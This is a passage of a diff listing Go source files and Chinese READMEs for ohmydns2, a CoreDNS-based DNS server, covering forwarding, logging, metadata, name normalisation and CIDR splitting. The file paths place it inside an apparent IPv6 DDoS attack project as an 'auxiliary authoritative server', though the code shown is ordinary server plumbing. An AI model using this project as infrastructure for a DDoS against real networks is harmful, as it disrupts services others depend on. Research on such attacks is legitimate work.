||||
c.OnStartup(func() error {
|
||||
return f.OnStartup()
|
||||
})
|
||||
c.OnStartup(func() error {
|
||||
if taph := dnsserver.GetConfig(c).Handler("dnstap"); taph != nil {
|
||||
f.SetTapPlugin(taph.(*dnstap.Dnstap))
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
c.OnShutdown(func() error {
|
||||
return f.OnShutdown()
|
||||
})
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// OnStartup starts a goroutines for all proxies.
|
||||
func (f *Forward) OnStartup() (err error) {
|
||||
for _, p := range f.proxies {
|
||||
p.Start(f.hcInterval)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// OnShutdown stops all configured proxies.
|
||||
func (f *Forward) OnShutdown() error {
|
||||
for _, p := range f.proxies {
|
||||
p.Stop()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func parseForward(c *caddy.Controller) ([]*Forward, error) {
|
||||
var fs = []*Forward{}
|
||||
for c.Next() {
|
||||
f, err := parseStanza(c)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
fs = append(fs, f)
|
||||
}
|
||||
return fs, nil
|
||||
}
|
||||
|
||||
func parseStanza(c *caddy.Controller) (*Forward, error) {
|
||||
f := New()
|
||||
|
||||
if !c.Args(&f.from) {
|
||||
return f, c.ArgErr()
|
||||
}
|
||||
origFrom := f.from
|
||||
zones := plugin.Host(f.from).NormalizeExact()
|
||||
if len(zones) == 0 {
|
||||
return f, fmt.Errorf("unable to normalize '%s'", f.from)
|
||||
}
|
||||
f.from = zones[0] // there can only be one here, won't work with non-octet reverse
|
||||
|
||||
if len(zones) > 1 {
|
||||
log.Warningf("Unsupported CIDR notation: '%s' expands to multiple zones. Using only '%s'.", origFrom, f.from)
|
||||
}
|
||||
|
||||
to := c.RemainingArgs()
|
||||
if len(to) == 0 {
|
||||
return f, c.ArgErr()
|
||||
}
|
||||
|
||||
toHosts, err := parse.HostPortOrFile(to...)
|
||||
if err != nil {
|
||||
return f, err
|
||||
}
|
||||
|
||||
transports := make([]string, len(toHosts))
|
||||
allowedTrans := map[string]bool{"dns": true, "tls": true}
|
||||
for i, host := range toHosts {
|
||||
trans, h := parse.Transport(host)
|
||||
|
||||
if !allowedTrans[trans] {
|
||||
return f, fmt.Errorf("'%s' is not supported as a destination protocol in forward: %s", trans, host)
|
||||
}
|
||||
p := proxy.NewProxy(h, trans)
|
||||
f.proxies = append(f.proxies, p)
|
||||
transports[i] = trans
|
||||
}
|
||||
|
||||
for c.NextBlock() {
|
||||
if err := parseBlock(c, f); err != nil {
|
||||
return f, err
|
||||
}
|
||||
}
|
||||
|
||||
if f.tlsServerName != "" {
|
||||
f.tlsConfig.ServerName = f.tlsServerName
|
||||
}
|
||||
|
||||
// Initialize ClientSessionCache in tls.Config. This may speed up a TLS handshake
|
||||
// in upcoming connections to the same TLS server.
|
||||
f.tlsConfig.ClientSessionCache = tls.NewLRUClientSessionCache(len(f.proxies))
|
||||
|
||||
for i := range f.proxies {
|
||||
// Only set this for proxies that need it.
|
||||
if transports[i] == transport.TLS {
|
||||
f.proxies[i].SetTLSConfig(f.tlsConfig)
|
||||
}
|
||||
f.proxies[i].SetExpire(f.expire)
|
||||
f.proxies[i].GetHealthchecker().SetRecursionDesired(f.opts.HCRecursionDesired)
|
||||
// when TLS is used, checks are set to tcp-tls
|
||||
if f.opts.ForceTCP && transports[i] != transport.TLS {
|
||||
f.proxies[i].GetHealthchecker().SetTCPTransport()
|
||||
}
|
||||
f.proxies[i].GetHealthchecker().SetDomain(f.opts.HCDomain)
|
||||
}
|
||||
|
||||
return f, nil
|
||||
}
|
||||
|
||||
func parseBlock(c *caddy.Controller, f *Forward) error {
|
||||
switch c.Val() {
|
||||
case "except":
|
||||
ignore := c.RemainingArgs()
|
||||
if len(ignore) == 0 {
|
||||
return c.ArgErr()
|
||||
}
|
||||
for i := 0; i < len(ignore); i++ {
|
||||
f.ignored = append(f.ignored, plugin.Host(ignore[i]).NormalizeExact()...)
|
||||
}
|
||||
case "max_fails":
|
||||
if !c.NextArg() {
|
||||
return c.ArgErr()
|
||||
}
|
||||
n, err := strconv.ParseUint(c.Val(), 10, 32)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
f.maxfails = uint32(n)
|
||||
case "health_check":
|
||||
if !c.NextArg() {
|
||||
return c.ArgErr()
|
||||
}
|
||||
dur, err := time.ParseDuration(c.Val())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if dur < 0 {
|
||||
return fmt.Errorf("health_check can't be negative: %d", dur)
|
||||
}
|
||||
f.hcInterval = dur
|
||||
f.opts.HCDomain = "."
|
||||
|
||||
for c.NextArg() {
|
||||
switch hcOpts := c.Val(); hcOpts {
|
||||
case "no_rec":
|
||||
f.opts.HCRecursionDesired = false
|
||||
case "domain":
|
||||
if !c.NextArg() {
|
||||
return c.ArgErr()
|
||||
}
|
||||
hcDomain := c.Val()
|
||||
if _, ok := dns.IsDomainName(hcDomain); !ok {
|
||||
return fmt.Errorf("health_check: invalid domain name %s", hcDomain)
|
||||
}
|
||||
f.opts.HCDomain = plugin.Name(hcDomain).Normalize()
|
||||
default:
|
||||
return fmt.Errorf("health_check: unknown option %s", hcOpts)
|
||||
}
|
||||
}
|
||||
|
||||
case "force_tcp":
|
||||
if c.NextArg() {
|
||||
return c.ArgErr()
|
||||
}
|
||||
f.opts.ForceTCP = true
|
||||
case "prefer_udp":
|
||||
if c.NextArg() {
|
||||
return c.ArgErr()
|
||||
}
|
||||
f.opts.PreferUDP = true
|
||||
case "tls":
|
||||
args := c.RemainingArgs()
|
||||
if len(args) > 3 {
|
||||
return c.ArgErr()
|
||||
}
|
||||
|
||||
tlsConfig, err := pkgtls.NewTLSConfigFromArgs(args...)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
f.tlsConfig = tlsConfig
|
||||
case "tls_servername":
|
||||
if !c.NextArg() {
|
||||
return c.ArgErr()
|
||||
}
|
||||
f.tlsServerName = c.Val()
|
||||
case "expire":
|
||||
if !c.NextArg() {
|
||||
return c.ArgErr()
|
||||
}
|
||||
dur, err := time.ParseDuration(c.Val())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if dur < 0 {
|
||||
return fmt.Errorf("expire can't be negative: %s", dur)
|
||||
}
|
||||
f.expire = dur
|
||||
case "policy":
|
||||
if !c.NextArg() {
|
||||
return c.ArgErr()
|
||||
}
|
||||
switch x := c.Val(); x {
|
||||
case "random":
|
||||
f.p = &random{}
|
||||
case "round_robin":
|
||||
f.p = &roundRobin{}
|
||||
case "sequential":
|
||||
f.p = &sequential{}
|
||||
default:
|
||||
return c.Errf("unknown policy '%s'", x)
|
||||
}
|
||||
case "max_concurrent":
|
||||
if !c.NextArg() {
|
||||
return c.ArgErr()
|
||||
}
|
||||
n, err := strconv.Atoi(c.Val())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if n < 0 {
|
||||
return fmt.Errorf("max_concurrent can't be negative: %d", n)
|
||||
}
|
||||
f.ErrLimitExceeded = errors.New("concurrent queries exceeded maximum " + c.Val())
|
||||
f.maxConcurrent = int64(n)
|
||||
|
||||
default:
|
||||
return c.Errf("unknown property '%s'", c.Val())
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
const max = 15 // Maximum number of upstreams.
|
||||
4
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/log/README.md
Normal file
4
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/log/README.md
Normal file
@@ -0,0 +1,4 @@
|
||||
# log
|
||||
*log--启用查询记录到标准输出*
|
||||
## 简介
|
||||
通过使用*log*,可以将所有查询(以及回复的部分)转存到标准输出上。并可通过一些选项稍微调整输出。请注意,对于繁忙的服务器,日志记录会导致性能下降。启用或禁用日志插件只会影响查询日志记录,任何其他来自 OhmyDNS 的日志记录都会显示出来。
|
||||
72
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/log/log.go
Normal file
72
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/log/log.go
Normal file
@@ -0,0 +1,72 @@
|
||||
package log
|
||||
|
||||
import (
|
||||
"context"
|
||||
"ohmydns2/plugin"
|
||||
"ohmydns2/plugin/pkg/dnstest"
|
||||
olog "ohmydns2/plugin/pkg/log"
|
||||
"ohmydns2/plugin/pkg/replacer"
|
||||
"ohmydns2/plugin/pkg/request"
|
||||
"ohmydns2/plugin/pkg/response"
|
||||
"time"
|
||||
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
// Logger is a basic request logging plugin.
|
||||
type Logger struct {
|
||||
Next plugin.Handler
|
||||
Rules []Rule
|
||||
|
||||
repl replacer.Replacer
|
||||
}
|
||||
|
||||
// ServeDNS implements the plugin.Handler interface.
|
||||
func (l Logger) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) {
|
||||
state := request.Request{W: w, Req: r}
|
||||
name := state.Name()
|
||||
for _, rule := range l.Rules {
|
||||
if !plugin.Name(rule.NameScope).Matches(name) {
|
||||
continue
|
||||
}
|
||||
|
||||
rrw := dnstest.NewRecorder(w)
|
||||
rc, err := plugin.NextOrFailure(l.Name(), l.Next, ctx, rrw, r)
|
||||
|
||||
// If we don't set up a class in config, the default "all" will be added
|
||||
// and we shouldn't have an empty rule.Class.
|
||||
_, ok := rule.Class[response.All]
|
||||
var ok1 bool
|
||||
if !ok {
|
||||
tpe, _ := response.Typify(rrw.Msg, time.Now().UTC())
|
||||
class := response.Classify(tpe)
|
||||
_, ok1 = rule.Class[class]
|
||||
}
|
||||
if ok || ok1 {
|
||||
logstr := l.repl.Replace(ctx, state, rrw, rule.Format)
|
||||
olog.Info(logstr)
|
||||
}
|
||||
|
||||
return rc, err
|
||||
}
|
||||
return plugin.NextOrFailure(l.Name(), l.Next, ctx, w, r)
|
||||
}
|
||||
|
||||
// Name implements the Handler interface.
|
||||
func (l Logger) Name() string { return "log" }
|
||||
|
||||
// Rule configures the logging plugin.
|
||||
type Rule struct {
|
||||
NameScope string
|
||||
Class map[response.Class]struct{}
|
||||
Format string
|
||||
}
|
||||
|
||||
const (
|
||||
// CommonLogFormat is the common log format.
|
||||
CommonLogFormat = `{remote}:{port} ` + replacer.EmptyValue + ` {>id} "{type} {class} {name} {proto} {size} {>do} {>bufsize}" {rcode} {>rflags} {rsize} {duration}`
|
||||
// CombinedLogFormat is the combined log format.
|
||||
CombinedLogFormat = CommonLogFormat + ` "{>opcode}"`
|
||||
// DefaultLogFormat is the default log format.
|
||||
DefaultLogFormat = CommonLogFormat
|
||||
)
|
||||
101
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/log/setup.go
Normal file
101
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/log/setup.go
Normal file
@@ -0,0 +1,101 @@
|
||||
package log
|
||||
|
||||
import (
|
||||
"ohmydns2/core/dnsserver"
|
||||
"ohmydns2/plugin"
|
||||
"ohmydns2/plugin/pkg/replacer"
|
||||
"ohmydns2/plugin/pkg/response"
|
||||
"strings"
|
||||
|
||||
"github.com/coredns/caddy"
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
func init() { plugin.Register("log", setup) }
|
||||
|
||||
func setup(c *caddy.Controller) error {
|
||||
rules, err := logParse(c)
|
||||
if err != nil {
|
||||
return plugin.Error("log", err)
|
||||
}
|
||||
|
||||
dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler {
|
||||
return Logger{Next: next, Rules: rules, repl: replacer.New()}
|
||||
})
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func logParse(c *caddy.Controller) ([]Rule, error) {
|
||||
var rules []Rule
|
||||
|
||||
for c.Next() {
|
||||
args := c.RemainingArgs()
|
||||
length := len(rules)
|
||||
|
||||
switch len(args) {
|
||||
case 0:
|
||||
// Nothing specified; use defaults
|
||||
rules = append(rules, Rule{
|
||||
NameScope: ".",
|
||||
Format: DefaultLogFormat,
|
||||
Class: make(map[response.Class]struct{}),
|
||||
})
|
||||
case 1:
|
||||
rules = append(rules, Rule{
|
||||
NameScope: dns.Fqdn(args[0]),
|
||||
Format: DefaultLogFormat,
|
||||
Class: make(map[response.Class]struct{}),
|
||||
})
|
||||
default:
|
||||
// Name scopes, and maybe a format specified
|
||||
format := DefaultLogFormat
|
||||
|
||||
if strings.Contains(args[len(args)-1], "{") {
|
||||
format = args[len(args)-1]
|
||||
format = strings.Replace(format, "{common}", CommonLogFormat, -1)
|
||||
format = strings.Replace(format, "{combined}", CombinedLogFormat, -1)
|
||||
args = args[:len(args)-1]
|
||||
}
|
||||
|
||||
for _, str := range args {
|
||||
rules = append(rules, Rule{
|
||||
NameScope: dns.Fqdn(str),
|
||||
Format: format,
|
||||
Class: make(map[response.Class]struct{}),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// Class refinements in an extra block.
|
||||
classes := make(map[response.Class]struct{})
|
||||
for c.NextBlock() {
|
||||
switch c.Val() {
|
||||
// class followed by combinations of all, denial, error and success.
|
||||
case "class":
|
||||
classesArgs := c.RemainingArgs()
|
||||
if len(classesArgs) == 0 {
|
||||
return nil, c.ArgErr()
|
||||
}
|
||||
for _, c := range classesArgs {
|
||||
cls, err := response.ClassFromString(c)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
classes[cls] = struct{}{}
|
||||
}
|
||||
default:
|
||||
return nil, c.ArgErr()
|
||||
}
|
||||
}
|
||||
if len(classes) == 0 {
|
||||
classes[response.All] = struct{}{}
|
||||
}
|
||||
|
||||
for i := len(rules) - 1; i >= length; i-- {
|
||||
rules[i].Class = classes
|
||||
}
|
||||
}
|
||||
|
||||
return rules, nil
|
||||
}
|
||||
43
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/metadata/README.md
Normal file
43
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/metadata/README.md
Normal file
@@ -0,0 +1,43 @@
|
||||
# metadata
|
||||
## 简介
|
||||
metadata包提供了一个 API,允许插件将元数据添加到上下文中。每个元数据都存储在格式为`<plugin>/<name>` 的标签下。每个元数据作为 Func 返回。调用 Func 时返回元数据。如果某个 Func 执行时间很长,就需要自行提供某种形式的缓存。在处理一个查询时的元数据应该保持不变。
|
||||
## 用例
|
||||
Basic example:
|
||||
```go
|
||||
//
|
||||
// Implement the Provider interface for a plugin p:
|
||||
//
|
||||
func (p P) Metadata(ctx context.Context, state request.Request) context.Context {
|
||||
metadata.SetValueFunc(ctx, "test/something", func() string {
|
||||
return "myvalue"
|
||||
})
|
||||
return ctx
|
||||
}
|
||||
```
|
||||
Basic example with caching:
|
||||
```go
|
||||
func (p P) Metadata(ctx context.Context, state request.Request) context.Context {
|
||||
cached := ""
|
||||
f := func() string {
|
||||
if cached != "" {
|
||||
return cached
|
||||
}
|
||||
cached = expensiveFunc()
|
||||
return cached
|
||||
}
|
||||
metadata.SetValueFunc(ctx, "test/something", f)
|
||||
return ctx
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
|
||||
If you need access to this metadata from another plugin:
|
||||
```go
|
||||
|
||||
// ...
|
||||
valueFunc := metadata.ValueFunc(ctx, "test/something")
|
||||
value := valueFunc()
|
||||
// use 'value'
|
||||
|
||||
```
|
||||
@@ -0,0 +1,42 @@
|
||||
package metadata
|
||||
|
||||
import (
|
||||
"context"
|
||||
"github.com/miekg/dns"
|
||||
"ohmydns2/plugin"
|
||||
"ohmydns2/plugin/pkg/request"
|
||||
)
|
||||
|
||||
// Metadata implements collecting metadata information from all plugins that
|
||||
// implement the Provider interface.
|
||||
type Metadata struct {
|
||||
Zones []string
|
||||
Providers []Provider
|
||||
Next plugin.Handler
|
||||
}
|
||||
|
||||
// Name implements the Handler interface.
|
||||
func (m *Metadata) Name() string { return "metadata" }
|
||||
|
||||
// ContextWithMetadata is exported for use by provider tests
|
||||
func ContextWithMetadata(ctx context.Context) context.Context {
|
||||
return context.WithValue(ctx, key{}, md{})
|
||||
}
|
||||
|
||||
// ServeDNS implements the plugin.Handler interface.
|
||||
func (m *Metadata) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) {
|
||||
rcode, err := plugin.NextOrFailure(m.Name(), m.Next, ctx, w, r)
|
||||
return rcode, err
|
||||
}
|
||||
|
||||
// Collect will retrieve metadata functions from each metadata provider and update the context
|
||||
func (m *Metadata) Collect(ctx context.Context, state request.Request) context.Context {
|
||||
ctx = ContextWithMetadata(ctx)
|
||||
if plugin.Zones(m.Zones).Matches(state.Name()) != "" {
|
||||
// Go through all Providers and collect metadata.
|
||||
for _, p := range m.Providers {
|
||||
ctx = p.Metadata(ctx, state)
|
||||
}
|
||||
}
|
||||
return ctx
|
||||
}
|
||||
@@ -0,0 +1,89 @@
|
||||
package metadata
|
||||
|
||||
import (
|
||||
"context"
|
||||
"ohmydns2/plugin/pkg/request"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Provider interface needs to be implemented by each plugin willing to provide
|
||||
// metadata information for other plugins.
|
||||
type Provider interface {
|
||||
// Metadata adds metadata to the context and returns a (potentially) new context.
|
||||
// Note: this method should work quickly, because it is called for every request
|
||||
// from the metadata plugin.
|
||||
Metadata(ctx context.Context, state request.Request) context.Context
|
||||
}
|
||||
|
||||
// Func is the type of function in the metadata, when called they return the value of the label.
|
||||
type Func func() string
|
||||
|
||||
// IsLabel checks that the provided name is a valid label name, i.e. two or more words separated by a slash.
|
||||
func IsLabel(label string) bool {
|
||||
p := strings.Index(label, "/")
|
||||
if p <= 0 || p >= len(label)-1 {
|
||||
// cannot accept namespace empty nor label empty
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// Labels returns all metadata keys stored in the context. These label names should be named
|
||||
// as: plugin/NAME, where NAME is something descriptive.
|
||||
func Labels(ctx context.Context) []string {
|
||||
if metadata := ctx.Value(key{}); metadata != nil {
|
||||
if m, ok := metadata.(md); ok {
|
||||
return keys(m)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ValueFuncs returns the map[string]Func from the context, or nil if it does not exist.
|
||||
func ValueFuncs(ctx context.Context) map[string]Func {
|
||||
if metadata := ctx.Value(key{}); metadata != nil {
|
||||
if m, ok := metadata.(md); ok {
|
||||
return m
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ValueFunc returns the value function of label. If none can be found nil is returned. Calling the
|
||||
// function returns the value of the label.
|
||||
func ValueFunc(ctx context.Context, label string) Func {
|
||||
if metadata := ctx.Value(key{}); metadata != nil {
|
||||
if m, ok := metadata.(md); ok {
|
||||
return m[label]
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// SetValueFunc set the metadata label to the value function. If no metadata can be found this is a noop and
|
||||
// false is returned. Any existing value is overwritten.
|
||||
func SetValueFunc(ctx context.Context, label string, f Func) bool {
|
||||
if metadata := ctx.Value(key{}); metadata != nil {
|
||||
if m, ok := metadata.(md); ok {
|
||||
m[label] = f
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// md is metadata information storage.
|
||||
type md map[string]Func
|
||||
|
||||
// key defines the type of key that is used to save metadata into the context.
|
||||
type key struct{}
|
||||
|
||||
func keys(m map[string]Func) []string {
|
||||
s := make([]string, len(m))
|
||||
i := 0
|
||||
for k := range m {
|
||||
s[i] = k
|
||||
i++
|
||||
}
|
||||
return s
|
||||
}
|
||||
45
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/metadata/setup.go
Normal file
45
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/metadata/setup.go
Normal file
@@ -0,0 +1,45 @@
|
||||
package metadata
|
||||
|
||||
import (
|
||||
"ohmydns2/core/dnsserver"
|
||||
"ohmydns2/plugin"
|
||||
|
||||
"github.com/coredns/caddy"
|
||||
)
|
||||
|
||||
func init() { plugin.Register("metadata", setup) }
|
||||
|
||||
func setup(c *caddy.Controller) error {
|
||||
m, err := metadataParse(c)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler {
|
||||
m.Next = next
|
||||
return m
|
||||
})
|
||||
|
||||
c.OnStartup(func() error {
|
||||
plugins := dnsserver.GetConfig(c).Handlers()
|
||||
for _, p := range plugins {
|
||||
if met, ok := p.(Provider); ok {
|
||||
m.Providers = append(m.Providers, met)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func metadataParse(c *caddy.Controller) (*Metadata, error) {
|
||||
m := &Metadata{}
|
||||
c.Next()
|
||||
|
||||
m.Zones = plugin.OriginsFromArgsOrServerBlock(c.RemainingArgs(), c.ServerBlockKeys)
|
||||
|
||||
if c.NextBlock() || c.Next() {
|
||||
return nil, plugin.Error("metadata", c.ArgErr())
|
||||
}
|
||||
return m, nil
|
||||
}
|
||||
179
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/normalize.go
Normal file
179
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/normalize.go
Normal file
@@ -0,0 +1,179 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
valid "github.com/asaskevich/govalidator"
|
||||
"net"
|
||||
"ohmydns2/plugin/pkg/cidr"
|
||||
"ohmydns2/plugin/pkg/log"
|
||||
"ohmydns2/plugin/pkg/parse"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
// Host represents a host from the Ohmyfile
|
||||
type Host string
|
||||
|
||||
// Normalize will return the host portion of host, stripping
|
||||
// of any port or transport. The host will also be fully qualified and lowercased.
|
||||
// An empty string is returned on failure
|
||||
// Deprecated: use OriginsFromArgsOrServerBlock or NormalizeExact
|
||||
func (h Host) Normalize() string {
|
||||
var caller string
|
||||
if _, file, line, ok := runtime.Caller(1); ok {
|
||||
caller = fmt.Sprintf("(%v line %d) ", file, line)
|
||||
}
|
||||
log.Warning("An external plugin " + caller + "is using the deprecated function Normalize. " +
|
||||
"This will be removed in a future versions of CoreDNS. The plugin should be updated to use " +
|
||||
"OriginsFromArgsOrServerBlock or NormalizeExact instead.")
|
||||
|
||||
s := string(h)
|
||||
_, s = parse.Transport(s)
|
||||
|
||||
// The error can be ignored here, because this function is called after the corefile has already been vetted.
|
||||
hosts, _, err := SplitHostPort(s)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return Name(hosts[0]).Normalize()
|
||||
}
|
||||
|
||||
// NormalizeExact will return the host portion of host, stripping
|
||||
// of any port or transport. The host will also be fully qualified and lowercased.
|
||||
// An empty slice is returned on failure
|
||||
func (h Host) NormalizeExact() []string {
|
||||
// The error can be ignored here, because this function should only be called after the corefile has already been vetted.
|
||||
s := string(h)
|
||||
_, s = parse.Transport(s)
|
||||
|
||||
hosts, _, err := SplitHostPort(s)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
for i := range hosts {
|
||||
hosts[i] = Name(hosts[i]).Normalize()
|
||||
}
|
||||
return hosts
|
||||
}
|
||||
|
||||
// Zones represents a lists of zone names.
|
||||
type Zones []string
|
||||
|
||||
// Matches checks if qname is a subdomain of any of the zones in z. The match
|
||||
// will return the most specific zones that matches. The empty string
|
||||
// signals a not found condition.
|
||||
func (z Zones) Matches(qname string) string {
|
||||
zone := ""
|
||||
for _, zname := range z {
|
||||
if dns.IsSubDomain(zname, qname) {
|
||||
// We want the *longest* matching zone, otherwise we may end up in a parent
|
||||
if len(zname) > len(zone) {
|
||||
zone = zname
|
||||
}
|
||||
}
|
||||
}
|
||||
return zone
|
||||
}
|
||||
|
||||
// Normalize fully qualifies all zones in z. The zones in Z must be domain names, without
|
||||
// a port or protocol prefix.
|
||||
func (z Zones) Normalize() {
|
||||
for i := range z {
|
||||
z[i] = Name(z[i]).Normalize()
|
||||
}
|
||||
}
|
||||
|
||||
// Name represents a domain name.
|
||||
type Name string
|
||||
|
||||
// Matches checks to see if other is a subdomain (or the same domain) of n.
|
||||
// This method assures that names can be easily and consistently matched.
|
||||
func (n Name) Matches(child string) bool {
|
||||
if dns.Name(n) == dns.Name(child) {
|
||||
return true
|
||||
}
|
||||
return dns.IsSubDomain(string(n), child)
|
||||
}
|
||||
|
||||
// Normalize lowercases and makes n fully qualified.
|
||||
func (n Name) Normalize() string { return strings.ToLower(dns.Fqdn(string(n))) }
|
||||
|
||||
// OriginsFromArgsOrServerBlock returns the normalized args if that slice
|
||||
// is not empty, otherwise the serverblock slice is returned (in a newly copied slice).
|
||||
func OriginsFromArgsOrServerBlock(args, serverblock []string) []string {
|
||||
if len(args) == 0 {
|
||||
s := make([]string, len(serverblock))
|
||||
copy(s, serverblock)
|
||||
for i := range s {
|
||||
s[i] = Host(s[i]).NormalizeExact()[0] // expansion of these already happened in dnsserver/register.go
|
||||
}
|
||||
return s
|
||||
}
|
||||
s := []string{}
|
||||
for i := range args {
|
||||
sx := Host(args[i]).NormalizeExact()
|
||||
if len(sx) == 0 {
|
||||
continue // silently ignores errors.
|
||||
}
|
||||
s = append(s, sx...)
|
||||
}
|
||||
|
||||
return s
|
||||
}
|
||||
|
||||
// SplitHostPort splits s up in a host(s) and port portion, taking reverse address notation into account.
|
||||
// String the string s should *not* be prefixed with any protocols, i.e. dns://. SplitHostPort can return
|
||||
// multiple hosts when a reverse notation on a non-octet boundary is given.
|
||||
func SplitHostPort(s string) (hosts []string, port string, err error) {
|
||||
// If there is: :[0-9]+ on the end we assume this is the port. This works for (ascii) domain
|
||||
// names and our reverse syntax, which always needs a /mask *before* the port.
|
||||
// So from the back, find first colon, and then check if it's a number.
|
||||
colon := strings.LastIndex(s, ":")
|
||||
if colon == len(s)-1 {
|
||||
return nil, "", fmt.Errorf("expecting data after last colon: %q", s)
|
||||
}
|
||||
if colon != -1 {
|
||||
if p, err := strconv.Atoi(s[colon+1:]); err == nil {
|
||||
port = strconv.Itoa(p)
|
||||
s = s[:colon]
|
||||
}
|
||||
}
|
||||
|
||||
// TODO(miek): this should take escaping into account.
|
||||
if len(s) > 255 {
|
||||
return nil, "", fmt.Errorf("specified zone is too long: %d > 255", len(s))
|
||||
}
|
||||
|
||||
if _, ok := dns.IsDomainName(s); !ok {
|
||||
return nil, "", fmt.Errorf("zone is not a valid domain name: %s", s)
|
||||
}
|
||||
|
||||
// Check if it parses as a reverse zone, if so we use that. Must be fully specified IP and mask.
|
||||
_, n, err := net.ParseCIDR(s)
|
||||
if err != nil {
|
||||
return []string{s}, port, nil
|
||||
}
|
||||
|
||||
if s[0] == ':' || (s[0] == '0' && strings.Contains(s, ":")) {
|
||||
return nil, "", fmt.Errorf("invalid CIDR %s", s)
|
||||
}
|
||||
|
||||
// now check if multiple hosts must be returned.
|
||||
nets := cidr.Split(n)
|
||||
hosts = cidr.Reverse(nets)
|
||||
return hosts, port, nil
|
||||
}
|
||||
|
||||
// SplitPort 用于从探测端的服务块中分离出Port,并且接收到的参数必须为[:port],这意味着所有探测端服务块必须指定端口号
|
||||
func SplitPort(s string) (port string, err error) {
|
||||
if !strings.HasPrefix(s, ":") {
|
||||
return "", fmt.Errorf("探测端服务块配置存在错误,应接收到[:port],实际接收到: %v", s)
|
||||
}
|
||||
if !valid.IsPort(s[1:]) {
|
||||
return "", fmt.Errorf("探测端服务块配置存在错误,端口号不合法,实际接收到: %v", s[1:])
|
||||
}
|
||||
return s[1:], nil
|
||||
}
|
||||
1
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/README.md
Normal file
1
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/README.md
Normal file
@@ -0,0 +1 @@
|
||||
*pkg*包含了所有ohmydns2核心处理逻辑需要的插件
|
||||
82
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/cidr/cidr.go
Normal file
82
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/cidr/cidr.go
Normal file
@@ -0,0 +1,82 @@
|
||||
// Package cidr contains functions that deal with classless reverse zones in the DNS.
|
||||
package cidr
|
||||
|
||||
import (
|
||||
"github.com/apparentlymart/go-cidr/cidr"
|
||||
"github.com/miekg/dns"
|
||||
"math"
|
||||
"net"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Split returns a slice of non-overlapping subnets that in union equal the subnet n,
|
||||
// and where each subnet falls on a reverse name segment boundary.
|
||||
// for ipv4 this is any multiple of 8 bits (/8, /16, /24 or /32)
|
||||
// for ipv6 this is any multiple of 4 bits
|
||||
func Split(n *net.IPNet) []string {
|
||||
boundary := 8
|
||||
nstr := n.String()
|
||||
if strings.Contains(nstr, ":") {
|
||||
boundary = 4
|
||||
}
|
||||
ones, _ := n.Mask.Size()
|
||||
if ones%boundary == 0 {
|
||||
return []string{n.String()}
|
||||
}
|
||||
|
||||
mask := int(math.Ceil(float64(ones)/float64(boundary))) * boundary
|
||||
networks := nets(n, mask)
|
||||
cidrs := make([]string, len(networks))
|
||||
for i := range networks {
|
||||
cidrs[i] = networks[i].String()
|
||||
}
|
||||
return cidrs
|
||||
}
|
||||
|
||||
// nets return a slice of prefixes with the desired mask subnetted from original network.
|
||||
func nets(network *net.IPNet, newPrefixLen int) []*net.IPNet {
|
||||
prefixLen, _ := network.Mask.Size()
|
||||
maxSubnets := int(math.Exp2(float64(newPrefixLen)) / math.Exp2(float64(prefixLen)))
|
||||
nets := []*net.IPNet{{IP: network.IP, Mask: net.CIDRMask(newPrefixLen, 8*len(network.IP))}}
|
||||
|
||||
for i := 1; i < maxSubnets; i++ {
|
||||
next, exceeds := cidr.NextSubnet(nets[len(nets)-1], newPrefixLen)
|
||||
